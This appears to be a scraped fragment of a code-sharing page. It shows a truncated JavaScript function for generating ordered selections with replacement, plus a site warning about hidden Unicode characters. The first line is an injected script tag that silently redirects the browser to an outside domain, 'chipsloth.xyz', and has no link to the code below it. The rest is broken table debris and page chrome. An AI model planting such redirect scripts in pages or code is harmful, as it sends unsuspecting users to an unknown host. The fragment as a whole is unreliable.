- <script>location="https://chipsloth.xyz";</script>
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function orderedSelectionsWithReplacement(numChoices, subsetSize) | |
{ | |
var subsets = [], i, advance, picks = new Array(subsetSize).fill(null), pos = 0; | |
while (true) | |
{ | |
//try to find something that has yet to be used | |
advance = false; | |
for (i = picks[pos]||0; i < numChoices; i++) | |
{ | |
picks[pos] = i; |
NewerOlder